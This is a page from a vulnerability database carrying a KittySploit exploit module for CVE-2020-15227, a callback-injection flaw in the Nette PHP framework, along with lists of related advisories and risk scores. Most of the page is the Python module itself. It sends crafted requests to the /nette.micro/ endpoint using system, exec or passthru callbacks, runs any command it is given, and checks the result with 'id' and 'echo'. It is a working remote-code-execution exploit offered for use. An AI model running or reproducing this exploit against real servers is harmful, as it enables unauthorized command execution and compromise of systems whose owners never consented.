Lucene search
+L

Nette Framework Callback RCE (CVE-2020-15227)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Attacker-controlled callback parameters in Nette Application /nette.micro/ yield RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Code Injection in Nette Application
9 Oct 202013:13
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Nette Application
15 Nov 202015:30
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Nette Application
10 Oct 202002:38
–githubexploit
circl
Circl
CVE-2020-15227
14 Oct 202019:14
–circl
checkpoint_advisories
Check Point Advisories
Nette Command Injection (CVE-2020-15227)
6 Feb 202100:00
–checkpoint_advisories
cve
CVE
CVE-2020-15227
1 Oct 202019:00
–cve
cvelist
Cvelist
CVE-2020-15227 Remote Code Execution vulnerability
1 Oct 202019:00
–cvelist
debian
Debian
[SECURITY] [DLA 2617-1] php-nette security update
4 Apr 202111:33
–debian
debiancve
Debian CVE
CVE-2020-15227
1 Oct 202019:00
–debiancve
nessus
Tenable Nessus
Debian DLA-2617-1 : php-nette security update
5 Apr 202100:00
–nessus
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Nette Framework callback injection RCE (CVE-2020-15227)."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Nette Framework Callback RCE (CVE-2020-15227)',
        'description': (
            'Exploits CVE-2020-15227 in Nette Application before 2.0.19/3.0.6: attacker-controlled '
            'callback parameters passed to call_user_func on /nette.micro/ yield remote code execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-15227'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-15227',
        ],
        'tags': ['nette', 'php', 'rce', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2020_15227_detect'],
            },
        },
    }

    micro_path = OptString('/nette.micro/', 'Nette micro endpoint base', required=False, advanced=True)

    def execute(self, cmd: str) -> str:
        base = str(self.micro_path or '/nette.micro/').strip() or '/nette.micro/'
        safe = quote(str(cmd), safe='')
        attempts = (
            f'{base}?callback=system&cmd={safe}',
            f'{base}?callback=exec&cmd[]={safe}',
            f'{base}?callback=passthru&cmd[]={safe}',
        )
        for path in attempts:
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200 and (r.text or '').strip():
                return r.text or ''
        return ''

    def check(self):
        base = str(self.micro_path or '/nette.micro/').strip() or '/nette.micro/'
        r = self.http_request(method='GET', path=f'{base}?callback=phpcredits', allow_redirects=False)
        if r and r.status_code == 200 and 'PHP Credits' in (r.text or ''):
            return {'vulnerable': True, 'reason': 'Nette micro callback RCE confirmed', 'confidence': 'high'}
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'Command output via Nette callback', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Nette micro callback not exploitable', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.9High risk
Vulners AI Score8.9
CVSS 27.5
CVSS 3.18.7 - 9.8
EPSS0.34424
1